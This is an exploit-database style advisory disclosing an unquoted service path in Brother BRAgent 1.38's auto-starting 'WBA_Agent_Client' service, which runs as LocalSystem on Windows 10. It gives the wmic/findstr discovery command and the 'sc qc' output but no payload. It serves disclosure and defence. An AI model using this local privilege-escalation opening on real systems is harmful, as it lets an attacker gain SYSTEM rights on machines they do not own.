Brother BRAgent 1.38 – ‘WBA Agent Client’ Unquoted Service Path

# Exploit Title: Brother BRAgent 1.38 - 'WBA_Agent_Client' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://brother.com
# Software Link: https://support.brother.com/g/b/downloadhowto.aspx?c=us&lang=en&prod=ads1000w_us&os=10013&dlid=dlf002778_000&flang=4&type3=46
# Tested Version: 1.38
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """
Brother BRAgent    WBA_Agent_Client   C:\Program Files
(x86)\Brother\BRAgent\BRAgtSrv.exe   Auto

C:\>sc qc WBA_Agent_Client
SC QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: WBA_Agent_Client
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files
(x86)\Brother\BRAgent\BRAgtSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : Brother BRAgent
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem